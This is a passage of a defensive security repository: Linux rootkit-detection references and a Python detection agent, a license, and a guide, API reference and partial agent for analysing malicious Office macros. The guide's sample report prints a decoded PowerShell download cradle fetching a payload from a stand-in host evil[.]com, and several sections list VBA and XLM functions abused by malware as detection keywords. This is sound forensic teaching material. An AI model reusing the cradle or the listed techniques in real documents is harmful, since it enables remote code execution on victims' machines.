vol -f memory.lime linux.sockstat.Sockstat
# JSON output
vol -f memory.lime linux.check_syscall.Check_syscall -r json > syscalls.json
```
## Memory Acquisition Tools
| Tool | Command | Use Case |
|------|---------|----------|
| LiME | `insmod lime.ko "path=/tmp/mem.lime format=lime"` | Linux kernel module |
| AVML | `avml /tmp/memory.raw` | Azure/cloud instances |
| /proc/kcore | `dd if=/proc/kcore of=mem.raw` | Quick (partial) dump |
## Volatility3 Symbol Tables (ISF)
```bash
# Generate ISF from running kernel
vol -f memory.lime banners.Banners
# Download matching ISF from:
# https://github.com/volatilityfoundation/volatility3#symbol-tables
```
## rkhunter Commands
```bash
# Full system scan
rkhunter --check --skip-keypress --report-warnings-only
# Update signatures
rkhunter --update
# Check specific tests
rkhunter --check --enable rootkits,trojans,os_specific
# Output to log file
rkhunter --check --logfile /var/log/rkhunter.log
```
## Known Linux Rootkits Detected
| Rootkit | Technique | Volatility Plugin |
|---------|-----------|-------------------|
| Diamorphine | Hidden module + syscall hook | check_syscall, hidden_modules |
| Reptile | Syscall hook + port knocking | check_syscall |
| KBeast | Syscall hook + /proc hiding | check_syscall, hidden_modules |
| Adore-ng | VFS hook + hidden files | lsmod, check_syscall |
| Jynx2 | LD_PRELOAD userspace | pslist (parent check) |
## Cross-View Detection
```bash
# Compare /proc/modules vs /sys/module
diff <(cat /proc/modules | awk '{print $1}' | sort) \
<(ls /sys/module/ | sort)
# Check for hidden processes
diff <(ls /proc/ | grep -E '^[0-9]+$' | sort -n) \
<(ps -eo pid --no-headers | sort -n)
```
### References
- Volatility3 Linux Plugins: https://volatility3.readthedocs.io/en/latest/volatility3.plugins.linux.html
- LiME: https://github.com/504ensicsLabs/LiME
- rkhunter: http://rkhunter.sourceforge.net/
- MITRE T1014 Rootkit: https://attack.mitre.org/techniques/T1014/

View File

@@ -0,0 +1,176 @@
#!/usr/bin/env python3
"""Linux Kernel Rootkit Detection Agent - analyzes memory dumps with Volatility3 and live system with rkhunter."""
import json
import argparse
import logging
import subprocess
import os
from datetime import datetime
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def run_vol3_plugin(memory_dump, plugin, isf_url=None):
"""Run a Volatility3 Linux plugin and return parsed output."""
cmd = ["vol", "-f", memory_dump, plugin, "-r", "json"]
if isf_url:
cmd.extend(["--isf", isf_url])
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
try:
return json.loads(result.stdout) if result.stdout else []
except json.JSONDecodeError:
logger.error("Volatility3 %s output parse failed", plugin)
return []
def check_syscall_hooks(memory_dump, isf_url=None):
"""Detect hooked system calls using linux.check_syscall."""
results = run_vol3_plugin(memory_dump, "linux.check_syscall.Check_syscall", isf_url)
hooked = []
for entry in results:
row = entry.get("__children", [entry]) if isinstance(entry, dict) else [entry]
for item in row:
symbol = item.get("Symbol", item.get("symbol", ""))
module = item.get("Module", item.get("module", ""))
if module and module != "kernel":
hooked.append({
"syscall_number": item.get("Index", item.get("index", "")),
"expected_handler": symbol,
"actual_module": module,
"severity": "critical",
"indicator": "syscall_hook",
})
return hooked
def detect_hidden_modules(memory_dump, isf_url=None):
"""Detect hidden kernel modules using cross-view analysis."""
lsmod_results = run_vol3_plugin(memory_dump, "linux.lsmod.Lsmod", isf_url)
hidden_results = run_vol3_plugin(memory_dump, "linux.hidden_modules.Hidden_modules", isf_url)
lsmod_names = set()
for entry in lsmod_results:
name = entry.get("Name", entry.get("name", ""))
if name:
lsmod_names.add(name)
hidden = []
for entry in hidden_results:
name = entry.get("Name", entry.get("name", ""))
if name:
hidden.append({
"module_name": name,
"in_lsmod": name in lsmod_names,
"severity": "critical",
"indicator": "hidden_kernel_module",
"detail": f"Module '{name}' hidden from standard listing",
})
return hidden
def check_idt_hooks(memory_dump, isf_url=None):
"""Check Interrupt Descriptor Table for hooks."""
results = run_vol3_plugin(memory_dump, "linux.check_idt.Check_idt", isf_url)
hooked = []
for entry in results:
module = entry.get("Module", entry.get("module", ""))
if module and module != "kernel":
hooked.append({
"interrupt": entry.get("Index", ""),
"handler_module": module,
"severity": "critical",
"indicator": "idt_hook",
})
return hooked
def run_rkhunter():
"""Run rkhunter rootkit scanner on live system."""
cmd = ["rkhunter", "--check", "--skip-keypress", "--report-warnings-only", "--nocolors"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
findings = []
for line in result.stdout.split("\n"):
line = line.strip()
if "Warning:" in line or "[ Warning ]" in line:
findings.append({
"tool": "rkhunter",
"finding": line.replace("Warning:", "").strip(),
"severity": "high",
})
return findings
def check_proc_sys_discrepancy():
"""Compare /proc/modules with /sys/module for hidden modules."""
findings = []
proc_modules = set()
sys_modules = set()
try:
with open("/proc/modules") as f:
for line in f:
proc_modules.add(line.split()[0])
except (FileNotFoundError, PermissionError):
return findings
try:
sys_modules = set(os.listdir("/sys/module"))
except (FileNotFoundError, PermissionError):
return findings
only_in_sys = sys_modules - proc_modules
for mod in only_in_sys:
if not os.path.exists(f"/sys/module/{mod}/initstate"):
continue
findings.append({
"module": mod, "indicator": "proc_sys_discrepancy",
"severity": "high",
"detail": f"Module '{mod}' in /sys/module but missing from /proc/modules",
})
return findings
def generate_report(syscall_hooks, hidden_mods, idt_hooks, rkhunter_findings, proc_findings, source):
all_findings = syscall_hooks + hidden_mods + idt_hooks + rkhunter_findings + proc_findings
critical = sum(1 for f in all_findings if f.get("severity") == "critical")
return {
"timestamp": datetime.utcnow().isoformat(),
"analysis_source": source,
"syscall_hooks": syscall_hooks,
"hidden_modules": hidden_mods,
"idt_hooks": idt_hooks,
"rkhunter_warnings": rkhunter_findings,
"proc_sys_discrepancies": proc_findings,
"total_findings": len(all_findings),
"critical_findings": critical,
"rootkit_detected": critical > 0,
}
def main():
parser = argparse.ArgumentParser(description="Linux Kernel Rootkit Detection Agent")
parser.add_argument("--memory-dump", help="Path to Linux memory dump for Volatility3 analysis")
parser.add_argument("--isf-url", help="Volatility3 ISF symbol table URL")
parser.add_argument("--live-scan", action="store_true", help="Run rkhunter + /proc analysis on live system")
parser.add_argument("--output", default="rootkit_detection_report.json")
args = parser.parse_args()
syscall_hooks, hidden_mods, idt_hooks = [], [], []
rkhunter_findings, proc_findings = [], []
source = "none"
if args.memory_dump:
source = f"memory_dump:{args.memory_dump}"
syscall_hooks = check_syscall_hooks(args.memory_dump, args.isf_url)
hidden_mods = detect_hidden_modules(args.memory_dump, args.isf_url)
idt_hooks = check_idt_hooks(args.memory_dump, args.isf_url)
if args.live_scan:
source = "live_system" if source == "none" else source + "+live_system"
rkhunter_findings = run_rkhunter()
proc_findings = check_proc_sys_discrepancy()
report = generate_report(syscall_hooks, hidden_mods, idt_hooks, rkhunter_findings, proc_findings, source)
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
logger.info("Rootkit scan: %d findings (%d critical), rootkit detected: %s",
report["total_findings"], report["critical_findings"], report["rootkit_detected"])
print(json.dumps(report, indent=2, default=str))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,345 @@
---
name: analyzing-macro-malware-in-office-documents
description: 'Analyzes malicious VBA macros embedded in Microsoft Office documents
(Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence
mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation
to extract the attack chain. Activates for requests involving Office macro analysis,
VBA malware investigation, maldoc analysis, or document-based threat examination.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- macro
- Office
- VBA
- document-malware
version: 1.0.0
author: mahipal
license: Apache-2.0
atlas_techniques:
- AML.T0068
- AML.T0067
d3fend_techniques:
- File Metadata Consistency Validation
- Application Protocol Command Analysis
- Identifier Analysis
- Content Format Conversion
- Message Analysis
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1137.001
- T1204.002
- T1059.005
- T1027
---
# Analyzing Macro Malware in Office Documents
## When to Use
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
- Investigating phishing campaigns that deliver weaponized Office documents
- Extracting VBA macro code to identify the payload download URL and execution method
- Analyzing obfuscated VBA code to understand the full attack chain
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
## Prerequisites
- Python 3.8+ with oletools installed (`pip install oletools`)
- oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
- LibreOffice for safe document rendering (does not execute VBA macros by default)
## Workflow
### Step 1: Initial Document Triage
Determine if the document contains macros or other active content:
```bash
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributes
```
### Step 2: Extract and Analyze VBA Code
Pull out the complete VBA macro source:
```bash
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docm
```
```
Key VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)
```
### Step 3: Deobfuscate VBA Code
Remove obfuscation layers to reveal the payload:
```python
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
```
### Step 4: Analyze Excel 4.0 (XLM) Macros
Handle legacy Excel macros that bypass VBA detection:
```bash
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional execution
```
### Step 5: Check for Non-Macro Attack Vectors
Examine the document for DDE, remote templates, and embedded objects:
```bash
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
```
### Step 6: Generate Analysis Report
Document the complete macro malware analysis:
```
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern
```
## Key Concepts
| Term | Definition |
|------|------------|
| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |
| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |
| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |
| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |
| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |
| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |
| **Protected View** | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier |
## Tools & Systems
- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
## Common Scenarios
### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
**Approach**:
1. Run oleid to confirm VBA macros are present and identify auto-execution triggers
2. Extract VBA code with olevba --decode --deobf for initial deobfuscation
3. Identify the auto-execution entry point (Auto_Open or Document_Open)
4. Trace the execution flow from the entry point through helper functions
5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL
6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
7. Extract all IOCs and create YARA rules for the specific obfuscation pattern
**Pitfalls**:
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
## Output Format
```
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic
```

View File

@@ -0,0 +1,112 @@
# API Reference: Office Macro Malware Analysis Tools
## olevba - VBA Macro Extraction (oletools)
### CLI Syntax
```bash
olevba document.docm # Full analysis
olevba --decode --deobf document.docm # Decode + deobfuscate
olevba --code document.docm # Extract VBA source only
olevba --json document.docm # JSON output
olevba --reveal document.docm # Reveal hidden content
```
### Output Sections
| Section | Content |
|---------|---------|
| `AutoExec` | Auto-execution triggers (AutoOpen, Document_Open) |
| `Suspicious` | Dangerous functions (Shell, WScript, CreateObject) |
| `IOC` | Extracted indicators (URLs, IPs, file paths) |
| `Hex String` | Decoded hex-encoded strings |
### Python API
```python
from oletools.olevba import VBA_Parser
vba = VBA_Parser("document.docm")
if vba.detect_vba_macros():
for (fn, stream, vba_fn, code) in vba.extract_macros():
print(code)
for (kw_type, keyword, desc) in vba.analyze_macros():
print(f"{kw_type}: {keyword}")
vba.close()
```
## oleid - Document Capability Identification
### CLI Syntax
```bash
oleid document.docm
```
### Indicators
| Indicator | Risk Values |
|-----------|-------------|
| `VBA Macros` | True/False |
| `XLM Macros` | True/False |
| `External Relationships` | True/False |
| `ObjectPool` | True/False |
| `Flash` | True/False |
## oledump.py - OLE Stream Analysis
### CLI Syntax
```bash
oledump.py document.docm # List streams
oledump.py -s 8 -v document.docm # Extract stream 8
oledump.py -p plugin_vba_dco document.docm # VBA decompile
oledump.py -p plugin_msg.py document.msg # MSG file parsing
```
### Stream Markers
| Marker | Meaning |
|--------|---------|
| `M` | Contains VBA macros |
| `m` | Contains macro attributes |
| `O` | Contains OLE objects |
## XLMDeobfuscator - Excel 4.0 Macros
### CLI Syntax
```bash
xlmdeobfuscator -f document.xlsm
xlmdeobfuscator -f document.xlsm --output-format json
```
### Dangerous XLM Functions
| Function | Purpose |
|----------|---------|
| `EXEC()` | Execute shell command |
| `CALL()` | Call DLL function |
| `REGISTER()` | Register DLL function |
| `URLDownloadToFileA` | Download file from URL |
## VBA Auto-Execution Triggers
| Trigger | Application |
|---------|-------------|
| `Auto_Open` / `AutoOpen` | Word |
| `Document_Open` | Word |
| `Workbook_Open` | Excel |
| `Auto_Close` | Word |
| `AutoExec` | Word |
## VBA Suspicious Functions
| Function | Risk |
|----------|------|
| `Shell()` | Command execution |
| `WScript.Shell` | Windows scripting |
| `CreateObject()` | COM object instantiation |
| `URLDownloadToFile` | File download |
| `MSXML2.XMLHTTP` | HTTP requests |
| `ADODB.Stream` | Binary file writing |
| `CallByName` | Indirect method invocation |
| `Environ()` | Environment variable access |
## ViperMonkey - VBA Emulation
### Syntax
```bash
vmonkey document.docm
vmonkey --iocs document.docm # Extract IOCs only
```

View File

@@ -0,0 +1,246 @@
#!/usr/bin/env python3
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""
import re
import os
import sys
import hashlib
import json
import zipfile
try:
from oletools.olevba import VBA_Parser
from oletools import oleid
HAS_OLETOOLS = True
except ImportError:
HAS_OLETOOLS = False
def compute_hash(filepath):
"""Compute SHA-256 hash of a file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def triage_document(filepath):
"""Quick triage using oleid to identify document capabilities."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed: pip install oletools"}
oid = oleid.OleID(filepath)
indicators = oid.check()
results = {}
for indicator in indicators:
results[indicator.name] = {
"value": str(indicator.value),
"risk": indicator.risk,
"description": indicator.description,
}
return results
def extract_vba_macros(filepath):
"""Extract VBA macro code from an Office document."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
macros = []
if vba_parser.detect_vba_macros():
for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
macros.append({
"filename": filename,
"stream_path": stream_path,
"vba_filename": vba_filename,
"code": vba_code,
"code_length": len(vba_code),
})
vba_parser.close()
return macros
def analyze_vba_suspicious(filepath):
"""Analyze VBA macros for suspicious keywords and patterns."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
if vba_parser.detect_vba_macros():
results = vba_parser.analyze_macros()
for (kw_type, keyword, description) in results:
entry = {"type": kw_type, "keyword": keyword, "description": description}
if kw_type == "AutoExec":
analysis["auto_exec"].append(entry)
elif kw_type == "Suspicious":
analysis["suspicious"].append(entry)
elif kw_type == "IOC":
analysis["iocs"].append(entry)
elif kw_type == "Hex String":
analysis["hex_strings"].append(entry)
vba_parser.close()
return analysis
def deobfuscate_chr_calls(vba_code):
"""Resolve Chr() and ChrW() calls in VBA code."""
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except (ValueError, OverflowError):
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
return code
def deobfuscate_concatenation(vba_code):
"""Remove string concatenation: "abc" & "def" -> "abcdef"."""
return re.sub(r'"\s*&\s*"', '', vba_code)
def deobfuscate_strreverse(vba_code):
"""Resolve StrReverse() calls."""
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)
def deobfuscate_replace(vba_code):
"""Resolve Replace() function calls."""
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
resolve_replace, vba_code)
def full_deobfuscation(vba_code):
"""Apply all deobfuscation techniques to VBA code."""
code = deobfuscate_chr_calls(vba_code)
code = deobfuscate_concatenation(code)
code = deobfuscate_strreverse(code)
code = deobfuscate_replace(code)
return code
def extract_urls_from_code(code):
"""Extract URLs from deobfuscated VBA code."""
return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))
def check_dde(filepath):
"""Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
findings = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if name.endswith(".xml") or name.endswith(".rels"):
content = z.read(name).decode("utf-8", errors="ignore")
if "DDEAUTO" in content or "DDE " in content:
